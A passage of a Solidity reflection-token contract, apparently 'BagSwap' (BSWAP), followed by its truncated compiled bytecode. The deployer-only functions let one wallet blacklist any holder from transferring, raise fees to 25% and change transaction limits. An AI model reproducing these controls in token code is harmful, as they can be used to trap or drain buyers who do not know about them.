_isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(11).mul(4)); _devWalletAddress.transfer(amount.div(11).mul(4)); _Deployer.transfer(amount.div(11).mul(3)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 25000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Deployer); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Deployer); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Deployer); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public { require(_msgSender() == _Deployer); for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public { require(_msgSender() == _Deployer); bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _devTax, _summedTax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external { require(_msgSender() == _Deployer); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Deployer); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external { require(_msgSender() == _Deployer); require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _summedTax = teamFee; } }
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063cba0e9961161006f578063cba0e9961461044f578063d00efb2f1461048c578063d543dbeb146104b7578063dd62ed3e146104e0578063e01af92c1461051d578063e47d60601461054657610156565b806395d89b4114610367578063a9059cbb14610392578063b515566a146103cf578063c0e6b46e146103f8578063c3c8cd8014610421578063c9567bf91461043857610156565b8063313ce56711610108578063313ce5671461027d5780635932ead1146102a85780636fc3eaec146102d157806370a08231146102e8578063715018a6146103255780638da5cb5b1461033c57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee578063273123b71461022b578063286671621461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610583565b60405161017d9190612d25565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612def565b6105c0565b6040516101ba9190612e4a565b60405180910390f35b3480156101cf57600080fd5b506101d86105de565b6040516101e59190612e74565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190612e8f565b6105ef565b6040516102229190612e4a565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d9190612ee2565b6106c8565b005b34801561026057600080fd5b5061027b60048036038101906102769190612f0f565b610784565b005b34801561028957600080fd5b50610292610840565b60405161029f9190612f58565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190612f9f565b610849565b005b3480156102dd57600080fd5b506102e66108fb565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190612ee2565b61096d565b60405161031c9190612e74565b60405180910390f35b34801561033157600080fd5b5061033a6109be565b005b34801561034857600080fd5b50610351610b11565b60405161035e9190612fdb565b60405180910390f35b34801561037357600080fd5b5061037c610b3a565b6040516103899190612d25565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612def565b610b77565b6040516103c69190612e4a565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f1919061313e565b610b95565b005b34801561040457600080fd5b5061041f600480360381019061041a9190612f0f565b610c8b565b005b34801561042d57600080fd5b50610436610d68565b005b34801561044457600080fd5b5061044d610de2565b005b34801561045b57600080fd5b5061047660048036038101906104719190612ee2565b6112f8565b6040516104839190612e4a565b60405180910390f35b34801561049857600080fd5b506104a161134e565b6040516104ae9190612e74565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190612f0f565b611354565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613187565b611469565b6040516105149190612e74565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190612f9f565b6114f0565b005b34801561055257600080fd5b5061056d60048036038101906105689190612ee2565b61156e565b60405161057a9190612e4a565b60405180910390f35b60606040518060400160405280600781526020017f4261675377617000000000000000000000000000000000000000000000000000815250905090565b60006105d46105cd6115c4565b84846115cc565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105fc848484611797565b6106bd846106086115c4565b6106b885604051806060016040528060288152602001613d3560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066e6115c4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205d9092919063ffffffff16565b6115cc565b600190509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107096115c4565b73ffffffffffffffffffffffffffffffffffffffff161461072957600080fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c56115c4565b73ffffffffffffffffffffffffffffffffffffffff16146107e557600080fd5b600181101580156107f7575060198111155b610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082d90613213565b60405180910390fd5b80600b8190555050565b60006009905090565b6108516115c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d59061327f565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093c6115c4565b73ffffffffffffffffffffffffffffffffffffffff161461095c57600080fd5b600047905061096a816120c1565b50565b60006109b7600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612271565b9050919050565b6109c66115c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a9061327f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4253574150000000000000000000000000000000000000000000000000000000815250905090565b6000610b8b610b846115c4565b8484611797565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd66115c4565b73ffffffffffffffffffffffffffffffffffffffff1614610bf657600080fd5b60005b8151811015610c87576001600e6000848481518110610c1b57610c1a61329f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c7f906132fd565b915050610bf9565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ccc6115c4565b73ffffffffffffffffffffffffffffffffffffffff1614610cec57600080fd5b60008111610d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2690613392565b60405180910390fd5b610d5f612710610d5183683635c9adc5dea000006122df90919063ffffffff16565b61235a90919063ffffffff16565b600d8190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610da96115c4565b73ffffffffffffffffffffffffffffffffffffffff1614610dc957600080fd5b6000610dd43061096d565b9050610ddf816123a4565b50565b610dea6115c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e9061327f565b60405180910390fd5b60148054906101000a900460ff1615610ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebc906133fe565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f5530601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006115cc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc49190613433565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561102b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104f9190613433565b6040518363ffffffff1660e01b815260040161106c929190613460565b6020604051808303816000875af115801561108b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110af9190613433565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111383061096d565b600080611143610b11565b426040518863ffffffff1660e01b8152600401611165969594939291906134ce565b60606040518083038185885af1158015611183573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a89190613544565b5050506001601460166101000a81548160ff0219169083151502179055506000601460176101000a81548160ff02191690831515021790555068015af1d78b58c400006015819055504360168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b1929190613597565b6020604051808303816000875af11580156112d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f491906135d5565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60165481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113956115c4565b73ffffffffffffffffffffffffffffffffffffffff16146113b557600080fd5b600081116113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ef90613392565b60405180910390fd5b611427606461141983683635c9adc5dea000006122df90919063ffffffff16565b61235a90919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60155460405161145e9190612e74565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115316115c4565b73ffffffffffffffffffffffffffffffffffffffff161461155157600080fd5b80601460166101000a81548160ff02191690831515021790555050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390613674565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613706565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161178a9190612e74565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fe90613798565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186e9061382a565b60405180910390fd5b600081116118ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b1906138bc565b60405180910390fd5b6118c2610b11565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119305750611900610b11565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f9a57601460179054906101000a900460ff1615611b63573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a0c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a665750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6257601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611aac6115c4565b73ffffffffffffffffffffffffffffffffffffffff161480611b225750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b0a6115c4565b73ffffffffffffffffffffffffffffffffffffffff16145b611b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5890613928565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba657601554811115611ba557600080fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c4a5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ca05750600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ca957600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d545750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611daa5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611dc25750601460179054906101000a900460ff165b15611e635742600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611e1257600080fd5b600f42611e1f9190613948565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611e6e3061096d565b9050600d548110611e7f57600d5490505b6000600c548210159050601460159054906101000a900460ff16158015611eb25750601460169054906101000a900460ff165b8015611ebb5750805b8015611f155750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f6f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611f9757611f7d826123a4565b60004790506000811115611f9557611f94476120c1565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120415750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561204b57600090505b6120578484848461261d565b50505050565b60008383111582906120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c9190612d25565b60405180910390fd5b50600083856120b4919061399e565b9050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121246004612116600b8661235a90919063ffffffff16565b6122df90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561214f573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121b360046121a5600b8661235a90919063ffffffff16565b6122df90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122426003612234600b8661235a90919063ffffffff16565b6122df90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561226d573d6000803e3d6000fd5b5050565b60006006548211156122b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122af90613a44565b60405180910390fd5b60006122c261264a565b90506122d7818461235a90919063ffffffff16565b915050919050565b6000808314156122f25760009050612354565b600082846123009190613a64565b905082848261230f9190613aed565b1461234f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234690613b90565b60405180910390fd5b809150505b92915050565b600061239c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612675565b905092915050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123dc576123db612ffb565b5b60405190808252806020026020018201604052801561240a5781602001602082028036833780820191505090505b50905030816000815181106124225761242161329f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124ed9190613433565b816001815181106125015761250061329f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061256830601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115cc565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125cc959493929190613c6e565b600060405180830381600087803b1580156125e657600080fd5b505af11580156125fa573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b8061262b5761262a6126d8565b5b612636848484612709565b80612644576126436128d4565b5b50505050565b6000806000612657612904565b9150915061266e818361235a90919063ffffffff16565b9250505090565b600080831182906126bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b39190612d25565b60405180910390fd5b50600083856126cb9190613aed565b9050809150509392505050565b60006008541480156126ec57506000600b54145b156126f657612707565b60006008819055506000600b819055505b565b60008060008060008061271b87612966565b95509550955095509550955061277986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ce90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061285a81612a76565b6128648483612b33565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128c19190612e74565b60405180910390a3505050505050505050565b600460088190555060046009819055506003600a81905550600a546009546128fc9190613948565b600b81905550565b600080600060065490506000683635c9adc5dea00000905061293a683635c9adc5dea0000060065461235a90919063ffffffff16565b82101561295957600654683635c9adc5dea00000935093505050612962565b81819350935050505b9091565b60008060008060008060008060006129838a600854600b54612b6d565b925092509250600061299361264a565b905060008060006129a68e878787612c03565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a1083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061205d565b905092915050565b6000808284612a279190613948565b905083811015612a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6390613d14565b60405180910390fd5b8091505092915050565b6000612a8061264a565b90506000612a9782846122df90919063ffffffff16565b9050612aeb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b48826006546129ce90919063ffffffff16565b600681905550612b6381600754612a1890919063ffffffff16565b6007819055505050565b600080600080612b996064612b8b888a6122df90919063ffffffff16565b61235a90919063ffffffff16565b90506000612bc36064612bb5888b6122df90919063ffffffff16565b61235a90919063ffffffff16565b90506000612bec82612bde858c6129ce90919063ffffffff16565b6129ce90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c1c85896122df90919063ffffffff16565b90506000612c3386896122df90919063ffffffff16565b90506000612c4a87896122df90919063ffffffff16565b90506000612c7382612c6585876129ce90919063ffffffff16565b6129ce90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cc6578082015181840152602081019050612cab565b83811115612cd5576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cf782612c8c565b612d018185612c97565b9350612d11818560208601612ca8565b612d1a81612cdb565b840191505092915050565b60006020820190508181036000830152612d3f8184612cec565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d8682612d5b565b9050919050565b612d9681612d7b565b8114612da157600080fd5b50565b600081359050612db381612d8d565b92915050565b6000819050919050565b612dcc81612db9565b8114612dd757600080fd5b50565b600081359050612de981612dc3565b92915050565b60008060408385031215612e0657612e05612d51565b5b6000612e1485828601612da4565b9250506020612e2585828601612dda565b9150509250929050565b60008115159050919050565b612e4481612e2f565b82525050565b6000602082019050612e5f6000830184612e3b565b92915050565b612e6e81612db9565b82525050565b6000602082019050612e896000830184612e65565b92915050565b600080600060608486031215612ea857612ea7612d51565b5b6000612eb686828701612da4565b9350506020612ec786828701612da4565b9250506040612ed886828701612dda565b9150509250925092565b600060208284031215612ef857612ef7612d51565b5b6000612f0684828501612da4565b91505092915050565b600060208284031215612f2557612f24612d51565b5b6000612f3384828501612dda565b91505092915050565b600060ff82169050919050565b612f5281612f3c565b82525050565b6000602082019050612f6d6000830184612f49565b92915050565b612f7c81612e2f565b8114612f8757600080fd5b50565b600081359050612f9981612f73565b92915050565b600060208284031215612fb557612fb4612d51565b5b6000612fc384828501612f8a565b91505092915050565b612fd581612d7b565b82525050565b6000602082019050612ff06000830184612fcc565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61303382612cdb565b810181811067ffffffffffffffff8211171561305257613051612ffb565b5b80604052505050565b6000613065612d47565b9050613071828261302a565b919050565b600067ffffffffffffffff82111561309157613090612ffb565b5b602082029050602081019050919050565b600080fd5b60006130ba6130b584613076565b61305b565b905080838252602082019050602084028301858111156130dd576130dc6130a2565b5b835b8181101561310657806130f28882612da4565b8452602084019350506020810190506130df565b5050509392505050565b600082601f83011261312557613124612ff6565b5b81356131358482602086016130a7565b91505092915050565b60006020828403121561315457613153612d51565b5b600082013567ffffffffffffffff81111561317257613171612d56565b5b61317e84828501613110565b91505092915050565b6000806040838503121561319e5761319d612d51565b5b60006131ac85828601612da4565b92505060206131bd85828601612da4565b9150509250929050565b7f7465616d4665652073686f756c6420626520696e2031202d2032350000000000600082015250565b60006131fd601b83612c97565b9150613208826131c7565b602082019050919050565b6000602082019050818103600083015261322c816131f0565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613269602083612c97565b915061327482613233565b602082019050919050565b600060208201905081810360008301526132988161325c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061330882612db9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333b5761333a6132ce565b5b600182019050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b600061337c601d83612c97565b915061338782613346565b602082019050919050565b600060208201905081810360008301526133ab8161336f565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006133e8601783612c97565b91506133f3826133b2565b602082019050919050565b60006020820190508181036000830152613417816133db565b9050919050565b60008151905061342d81612d8d565b92915050565b60006020828403121561344957613448612d51565b5b60006134578482850161341e565b91505092915050565b60006040820190506134756000830185612fcc565b6134826020830184612fcc565b9392505050565b6000819050919050565b6000819050919050565b60006134b86134b36134ae84613489565b613493565b612db9565b9050919050565b6134c88161349d565b82525050565b600060c0820190506134e36000830189612fcc565b6134f06020830188612e65565b6134fd60408301876134bf565b61350a60608301866134bf565b6135176080830185612fcc565b61352460a0830184612e65565b979650505050505050565b60008151905061353e81612dc3565b92915050565b60008060006060848603121561355d5761355c612d51565b5b600061356b86828